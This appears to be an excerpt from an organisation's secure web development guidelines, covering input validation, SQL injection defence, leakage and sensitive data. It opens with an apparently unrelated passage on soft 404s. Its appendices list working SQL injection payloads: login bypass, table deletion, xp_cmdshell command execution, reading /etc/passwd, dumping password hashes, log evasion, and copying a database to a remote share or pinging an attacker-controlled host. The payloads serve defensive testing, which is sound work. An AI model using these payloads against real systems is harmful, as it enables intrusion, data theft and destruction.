Some websites report a "not found" error by returning a standard web page with a "200 OK" response code; this is called a soft 404. Soft 404s are problematic for automated methods of discovering whether a link is broken. Soft 404s can occur as a result of configuration errors when using certain http server software, for example with the Apache software, when an Error Document 404 (specified in a .htaccess file) is specified as an absolute path (e.g. www.wikipedia.org/error.php) rather than a relative path (/error.php).

Some proxy servers generate a 404 error when the remote host is not present, rather than returning the correct 500-range code when errors such as hostname resolution failures or refused TCP connections prevent the proxy server from satisfying the request. This can confuse programs that expect and act on specific responses, as they can no longer easily distinguish between an absent web server and a missing web page on a web server that is present.

11.3 Security testing software

See Appendix 1 for basic tests that should be performed to validate the security. Additionally, use security testing software (for example Grendel Scanner http://www.grendel-scan.com/), and have Infrastructure and Support (IS) Team perform a server test using the current penetration test software (currently Nessus http://www.nessus.org).

11.4 Static code analysis

Static code analysis tools should also be employed during build, for example:

- NUnit and NCover
- For ASP.NET - fxCop and optionally StyleCop for MS Visual Studio
- Something like YASCA, RATS, Pixy, etc. for PHP development

11.5 General Guidelines:

- Validate input. Validate the data is for type, length, format and range. Cast input into appropriate and safe types
    - Ensure you understand the client requirement, and advise if necessary:
        - Where the input is an e-mail address, at the very least check the format, optionally check the e-mail address is actually valid (for example through a confirmation e-mail response required) – this is not always realistic.

        - Use a captcha control to confirm only humans can submit forms – this should be considered by the client.
        - Moderate comment posts – this should be considered by the client, or alternatively consider if someone needs to actively monitor the comments and remove the junk.
        - Use the Akismet plug-in for WordPress, this *should* filter out spam comments, but it's not controlling the quality or tone of comments that are not actual spam.
- Validate input from all un-trusted data sources. Proper input validation can eliminate the vast majority of software vulnerabilities. Be suspicious of most external data sources, including command line arguments, network interfaces, environmental variables, and user controlled files.
- Heed compiler warnings. Compile code using the highest warning level available for your compiler and eliminate warnings by modifying the code.
- Architect and design for security policies. Create a software architecture and design your software to implement and enforce security policies. For example, if your system requires different privileges at different times, consider dividing the system into distinct intercommunicating subsystems, each with an appropriate privilege set.
- Keep it simple. Keep the design as simple and small as possible. Complex designs increase the likelihood that errors will be made in their implementation, configuration, and use. Additionally, the effort required to achieve an appropriate level of assurance increases dramatically as security mechanisms become more complex.
- Default deny. Base access decisions on permission rather than exclusion. This means that, by default, access is denied and the protection scheme identifies conditions under which access is permitted.
- Adhere to the principle of least privilege. Every process should execute with the least set of privileges necessary to complete the job. Any elevated permission should be held for a minimum time. This approach reduces the opportunities an attacker has to execute arbitrary code with elevated privileges.
- Sanitize data sent to other systems. Sanitize all data passed to complex subsystems such as command shells, relational databases, and commercial off-the-shelf (COTS) components. Attackers may be able to invoke unused functionality in these components through the use of SQL, command, or other injection attacks. This is not necessarily an input validation problem because the complex subsystem being invoked does not understand the context in which the call is made. Because the calling process understands the context, it is responsible for sanitizing the data before invoking the subsystem.
- Practice defence in depth. Manage risk with multiple defensive strategies, so that if one layer of defence turns out to be inadequate, another layer of defence can prevent a security flaw from becoming an exploitable vulnerability and/or limit the consequences of a successful exploit. For example, combining secure programming techniques with secure runtime environments should reduce the likelihood that vulnerabilities remaining in the code at deployment time can be exploited in the operational environment.
- Use effective quality assurance techniques. Good quality assurance techniques can be effective in identifying and eliminating vulnerabilities. Penetration testing, fuzz testing, and source code audits should all be incorporated as part of an effective quality assurance program. Independent security reviews can lead to more secure systems. External reviewers bring an independent perspective; for example, in identifying and correcting invalid assumptions.

11.6 SQL Injection

SQL injection poses a serious threat to any database-driven web site. The number of systems accessible on the internet with this vulnerability is very high, despite the risks of complete system compromise by any individual with a basic knowledge of SQL.

See Appendix 2 for basic tests that should be performed to validate the SQL security. Alternatively, use security testing software (like the Grendel Scanner http://www.grendel-scan.com/).

CMS Plug-ins / Extensions
Any plug-in developed for use within a specific CMS (like Immediacy) has the ability to work with form input values and the query-string, and is therefore susceptible to SQL injection if the problem is not addressed and safeguards not put in place.

Editor side code such as GUI interfaces are not as crucial as client facing code as these are not available to the browsing user / potential hacker. What is important is the client side input; this should be validated prior to it being used in a SQL statement. Even the smallest and most insignificant plug-in can act as a backdoor into the server on which it resides.

.NET SqlParameters
If using .NET, the recommended method is to use SqlParameters, using:

```
System.Data.SqlClient.SqlParameter
```

For example, a .NET version (in C#) of the ASP described earlier could be implemented as follows:

```
String username = Context.Request.QueryString["username"];
String password = Context.Request.QueryString["password"];
String mySQL = "SELECT id, forename, lastname FROM users WHERE username = @username
AND password = @password";
SqlCommand myCommand = new SqlCommand;
myCommand.CommandText = mySQL;
myCommand.Parameters.Add("@username", username);
myCommand.Parameters.Add("@password", password);
```

Recommended Practice
There are simple steps which can greatly reduce the possibility of a SQL Injection attack. These steps need to be followed on any piece of software that allows user interaction and connects to a database.

Filter out characters like single quotes, double quotes, slash, back slash, semi colon, extended characters like NULL, carriage return, new line, etc, in all strings from:

- Input from users
- Parameters from the URL Query String
- Values from cookies
- Browser Header Values

All of these can easily be modified by a hacker to contain injected SQL commands. They are outside of the application's control and can therefore, contain any maliciously modified value.

For numeric values, convert them to integers before parsing into the SQL statement. Consider using ISNUMERIC to ensure valid integers.

Database Configuration Basics
Change "Startup and run SQL Server" to use a low privilege user in SQL Server Security tab.

Delete stored procedures that are not used such as:

```
master..xp_cmdshell
xp_startmail
xp_sendmail
sp_makewebtask
```

11.7 Information Prediction / Leakage

Usernames and passwords would never be displayed or included in the HTML returned to the user's browser.

Make sure that there is no identifiable code stored in the header, in the URL or elsewhere on the page and making sure that URL parameters that are used on the site cannot be used to access restricted or personal data.

All forms where there is personal or identification information being passed should be encrypted using SSL to prevent snooping of the information entered on the forms.

Use basic .net features to handle sessions and cookies. The content of headers and cookies would be kept to a minimum to prevent any information leakage occurring and the templates would be checked to ensure that no unwanted information is delivered to the customer.

Only keep the cookie alive for as long as it needs to be – delete (destroy) old cookies. If you must use a cookie to store a long term identity, use a random ID (like a GUID) in the cookie to identify users and look up the user based on this ID when they arrive at the site.

11.8 Authentication and Authorisation

Identify which users can have access at what level to which functions on which systems. This includes system users – like the CMS user has access to update databases but can't create or drop tables.

11.9 Storage of Sensitive Data

Sensitive Data includes any system usernames, passwords, IP, computer names, database names, etc.

- Sensitive data are not stored unless necessary and never stored in code.
- Database connections, passwords, keys or other sensitive data are not stored in plaintext.
- Sensitive data is not logged in clear text by the application.
- The design identifies protection mechanisms for sensitive data that is sent over the network.
- Sensitive data is not stored in persistent cookies.
- Sensitive data is not transmitted with the GET protocol.

APPENDIX 1 : INPUT VALIDATION CHECK LIST

The table below covers miscellaneous injection characters and their meanings when applied to web application testing.

Character(s)	Details
NULL or null	Often produces interesting error messages as the web application is expecting a value. It can also help us determine if the backend is a PL/SQL gateway.
{' , " , ; , <!}	Breaks an SQL string or query; used for SQL, XPath and XML Injection tests.
{– , = , + , "}	These characters are used to craft SQL Injection queries.
{‘ , &, ! , ¦ , < , >}	Used to find command execution vulnerabilities.
"><script>alert(1)</script>	Used for basic Cross-Site Scripting Checks.
{%0d , %0a}	Carriage Return Line Feed (new line); all round bad.
{%7f , %ff}	byte-length overflows; maximum 7- and 8-bit values.
{-1, other}	Integer and underflow vulnerabilities.
Ax1024+	Overflow vulnerabilities.
{%n , %x , %s}	Testing for format string vulnerabilities.
../	Directory Traversal Vulnerabilities.
{% , _, *}	Wildcard characters can sometimes present DoS issues or information disclosure.

These characters can be represented in many different ways (i.e. Unicode). It is important to understand this when restricting input to these character sets.

APPENDIX 2 : SQL INJECTION CHECK LIST

The following table lists the types of content that can be used in login forms with a username and password. Correctly performing these attacks will allow you to authenticate to the web application (unless otherwise stated).

Payload	Description (if any)
realusername' OR 1=1–	Authenticate as a real user without requiring a password.
'OR '' = '	Allows authentication without a valid username.
admin'–	Authenticate as user admin without a password.
' union select 1, 'user', 'pass' 1–	Requires knowledge of column names.
'; drop table users–	DANGEROUS! this will delete the user database if the table name is 'users'.

Microsoft SQL specific tests

Payload	Description (if any)
'admin –sp_password	sp_traceXXX audit evasion. The sp_password prevents storing clear text passwords in the log files. Appending this after your comments (–) can prevent SQL Injection queries being logged.
select @@version	View database version.
select @@servername	Misc. information disclosure
select @@microsoftversion	Misc. information disclosure
select * from master..sysservers	Misc. information disclosure
select * from sysusers	View database usernames and passwords.
exec master..xp_cmdshell 'ipconfig+/all'	Misc. command execution with cp_cmdshell.
exec master..xp_cmdshell 'net+view'	Misc. command execution with cp_cmdshell.
exec master..xp_cmdshell 'net+users'	Misc. command execution with cp_cmdshell.
exec master..xp_cmdshell 'ping+system-controlled-by-attacker'	Misc. command execution with cp_cmdshell - this is useful for blind SQL Injection tests (where no results are displayed).
BACKUP database master to disks='\\{IP}\{sharename}\backupdb.dat'	Backup entire database to a file. This attack can be used to steal a database.
create table myfile (line varchar(8000))" bulk insert foo from 'c:\inetpub\wwwroot\auth.asp'" select * from myfile"–	Reading files on the filesystem.
xp_servicecontrol (START or STOP) <service>	Start and stop Windows Services.
str1 + str2 OR *n*+*n*	Concat strings for blind SQL Injection tests.

MySQL specific tests

Payload	Description (if any)
select @@version;	View database version.
select host,user,db from mysql.db;	Misc. information disclosure
select host,user,password from mysql.user;	View MySQL usernames and passwords.
create table myfile (input TEXT); load data infile '/etc/passwd' into table myfile; OR load data infile '/home/{user}/.rhosts' into table myfile; select * from myfile;	Reading files on the filesystem.
select host,user,password from user into outfile '/tmp/passwd';	Write files on the filesystem. This attack is limited by the fact that you can only write to either "/tmp" or "/var/tmp".
select CONCAT("a","b");	Concat strings for blind SQL Injection tests.
BENCHMARK(1000000000,MD5('gainingtime'))	Cause delay for blind SQL Injection tests.
BENCHMARK(1000000000,MD5(CHAR(116)))	Cause delay for blind SQL Injection tests. Same as before, but this can be used if quotes are filtered.
IF EXISTS (SELECT * FROM users WHERE username = 'root') BENCHMARK(1000000000,MD5('gainingtime'))	Check if username exists, if yes there will be an delay.
IF EXISTS (SELECT * FROM users WHERE username = 'root') WAITFOR DELAY '0:0:3′	Check if username exists, if yes there will be an delay for 3 seconds.